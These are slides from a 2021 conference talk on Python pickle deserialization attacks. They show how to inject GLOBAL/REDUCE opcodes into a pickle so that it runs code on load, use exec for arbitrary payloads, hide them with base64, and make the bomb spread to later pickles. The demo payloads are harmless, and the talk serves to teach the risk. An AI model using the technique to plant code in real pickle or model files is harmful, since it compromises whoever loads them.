



In partnership with

**GITEX**  
GLOBAL

**17-21**  
**OCT 2021**

DUBAI WORLD TRADE CENTRE

Supported by



البرنامج الوطني للذكاء الاصطناعي  
NATIONAL PROGRAM FOR ARTIFICIAL INTELLIGENCE

# Dangerous Pickles

20th October, Dmitry Denisov

# Myself



- Work as Data Scientist in Careem (Fraud department)
- Before: Data Scientist in Deloitte
- Interested in Education sphere:
  - Conducted a Deep Learning course  
<https://www.coursera.org/learn/intro-to-deep-learning>
  - Course for Open Data Science community:  
<https://bit.ly/3csuc0g>
  - Data Science course in Saudi Arabia in Sept-Oct 2021
- Background: Data Science/Math, Bachelor's in Applied Math and Masters in Data Science



# Sources inspired me for this talk

- [https://github.com/mike0sv/nasty\\_pickle](https://github.com/mike0sv/nasty_pickle)
- <https://intoli.com/blog/dangerous-pickles/>
- (RUS) [https://www.youtube.com/watch?v=xm-A-h9QkXg&t=610s&ab\\_channel=ODSAIGlobal](https://www.youtube.com/watch?v=xm-A-h9QkXg&t=610s&ab_channel=ODSAIGlobal)



# What is associated with Rus programmer?

Russians hackers



Our today's topic is...

# How to run virus in Python using pickle

# Disclaimer

This presentation is to show you how and why pickle can be dangerous and give you



# What is pickle?

```
1  import pickle
2
3  a = {'hello': 'world'}
4
5  # Save to file
6  with open('filename.pickle', 'wb') as handle:
7      pickle.dump(a, handle)
8
9  # Read from file
10 with open('filename.pickle', 'rb') as handle:
11     b = pickle.load(handle)
12
13 print(a == b)
```

# Meanwhile: pickle documentation

## `pickle` — Python object serialization

Source code: [Lib/pickle.py](#)

The `pickle` module implements binary protocols for serializing and de-serializing a Python object structure. “Pickling” is the process whereby a Python object hierarchy is converted into a byte stream, and “unpickling” is the inverse operation, whereby a byte stream (from a [binary file](#) or [bytes-like object](#)) is converted back into an object hierarchy. Pickling (and unpickling) is alternatively known as “serialization”, “marshalling”, [1] or “flattening”; however, to avoid confusion, the terms used here are “pickling” and “unpickling”.

**Warning:** The `pickle` module is **not secure**. Only unpickle data you trust.

It is possible to construct malicious pickle data which will **execute arbitrary code during unpickling**. Never unpickle data that could have come from an untrusted source, or that could have been tampered with.

Consider signing data with `hmac` if you need to ensure that it has not been tampered with.

Safer serialization formats such as `json` may be more appropriate if you are processing untrusted data. See [Comparison with json](#).

## Relationship to other Python modules

### Comparison with `marshal`

Python has a more primitive serialization module called `marshal`, but in general `pickle` should always be the preferred way to serialize Python objects. `marshal` exists primarily to support Python’s `.pyc` files.

!#term-bytes-like-object module differs from `marshal` in several significant ways:

**Execute arbitrary code during unpickling**





# Pickletools

- Pickle is a stack language
- push data onto the stack
- pop data from the stack

Useful functions:

- **pickletools.optimize**: removes technical details from pickle
- **pickletools.dis**: prints all pickle commands

# Pickling machine + Opscodes example

```
payload = pickle.dumps(["aaa", 111])
```

↓  
pickletools.optimize +  
pickletools.dis

```
/usr/local/bin/python3.7 /Users/dmitrydenisov/
0: \x80  PROTO      3
2: ]      EMPTY_LIST
3: (      MARK
4: X      BINUNICODE 'aaa'
12: K      BININT1    111
14: e      APPENDS    (MARK at 3)
15: .      STOP
highest protocol among opcodes = 2
```

- Protocol version
- Put into stack: empty list
- Put into stack Mark
- Put into stack: 'aaa'
- Put into stack: 111
- Take all from stack until Mark
- Stop

# Opcodes example: REDUCE function

```
reduce_pickle
/usr/local/bin/python3.7 /Users/dmitrydenisov/Pycha
0: c    GLOBAL    'copy_reg _reconstructor'
25: (    MARK
26: c    GLOBAL    '__main__ MyClass'
44: c    GLOBAL    '__builtin__ object'
64: N    NONE
65: t    TUPLE     (MARK at 25)
66: R    REDUCE
67: .    STOP
highest protocol among opcodes = 0
```

```
# Push an object built from a callable and an argument tuple.
# 63: R    REDUCE
args = stack.pop()
callable = stack.pop()
stack.append(callable(*args))
```

We call function that we just imported

# My first pickle bomb - add bytes to our pickled file

Before:

```
/usr/local/bin/python3.7 /Users/dmitrydenisov/  
0: \x80 PROTO      3  
2: ]      EMPTY_LIST  
3: (      MARK  
4: X      BINUNICODE 'aaa'  
12: K      BININT1    111  
14: e      APPENDS    (MARK at 3)  
15: .      STOP  
highest protocol among opcodes = 2
```



After:

```
/usr/local/bin/python3.7 /Users/dmitrydenisov/Pyth  
0: \x80 PROTO      3  
2: ]      EMPTY_LIST  
3: (      MARK  
4: X      BINUNICODE 'aaa'  
12: K      BININT1    111  
14: e      APPENDS    (MARK at 3)  
15: c      GLOBAL     'builtins print'  
31: (      MARK  
32: V      UNICODE    'YOU ARE HACKED'  
48: t      TUPLE      (MARK at 31)  
49: R      REDUCE  
50: 0      POP  
51: .      STOP  
highest protocol among opcodes = 2
```

# We are done, our first bomb is ready

```
2 import pickletools
3
4 payload = pickle.dumps(["aaa", 111])
5 payload = pickletools.optimize(payload)
6
7 bomb = b"c" + b"builtins\nprint\n" + \
8       b"(V" + b"YOU ARE HACKED\n" + b"tR0"
9 payload = payload[:-1] + bomb + b"."
10
11
12 # write to file our data
13 with open("test_bomb.pkl", "wb") as f:
14     f.write(payload)
15
16 # unpickle bomb
17 with open('test_bomb.pkl', 'rb') as f:
18     payload_new = f.read()
19     data = pickle.loads(payload_new)
20
21 print('Read file:', data)
22
```

pickles\_bomb\_creation ×

/usr/local/bin/python3.7 /Users/dmitrydenisov/PycharmProjects

YOU ARE HACKED  
Read file: ['aaa', 111]

Process finished with exit code 0



# Arbitrary function

- So far we managed to do only print
- **exec** function will help us to execute **arbitrary** code

```
source = """
a=3\n
if a<4:\n
    print("a<4")\n
else:\n
    print("a>=4")\n
for i in range(1, 10):\n
    print(f"Current i:{i}")\n
"""
exec(source)
```

# Final recipe

- Import exec function
- Push to pickle stack loooong string of code
- Write directly REDUCE method into pickle

# Repo + QR code

- [https://github.com/DmitriiDenisov/nasty\\_pickle](https://github.com/DmitriiDenisov/nasty_pickle)



# Code for patching a bomb

Assume we want to call arbitrary function:  
bomb\_function

```
def bomb():  
    print("Hi")  
  
payload = pickle.dumps(data)  
payload = patch_pickle_bytes(payload, bomb, optimize=optimize, encode=True)  
  
with open(f"bombs_pickles/bomb_{name}.pkl", "wb") as f:  
    f.write(payload)
```

Now we wrapped everything into function:  
create\_bomb

```
create_bomb('hi', hi_bomb)
```



# Short demos of possible injections:

1. Hi bomb
2. Raise exception bomb
3. Open URL bomb
4. Open image bomb
5. If + try-except + for loop
6. Swap integers

# Encode the bomb

- How we can be hackers if we don't encode our bomb?
- base64 encoding
- Before unpickle we decode it back

```
def _encoded_unicode_op(string: str) -> bytes:
    """Put string into stack so that it will be base64 encoded in bytestream"""
    encoded = base64.standard_b64encode(string.encode("utf8"))
    args_op = b "(" + _unicode_op(encoded.decode("utf8")) + b "tR"
    return _import_op("base64", "standard_b64decode", True) + args_op
```

# Virus – put bomb in every next pickle

- Finally, how we can call it a virus, if it does not spread??

Demo of:

1. Hi bomb
2. Open URL bomb

# Questions?

GitHub: <https://github.com/DmitriiDenisov>

LindedIn: <https://www.linkedin.com/in/dmitry-denisov-022102103/>

Web: <https://ddenisov.com/>

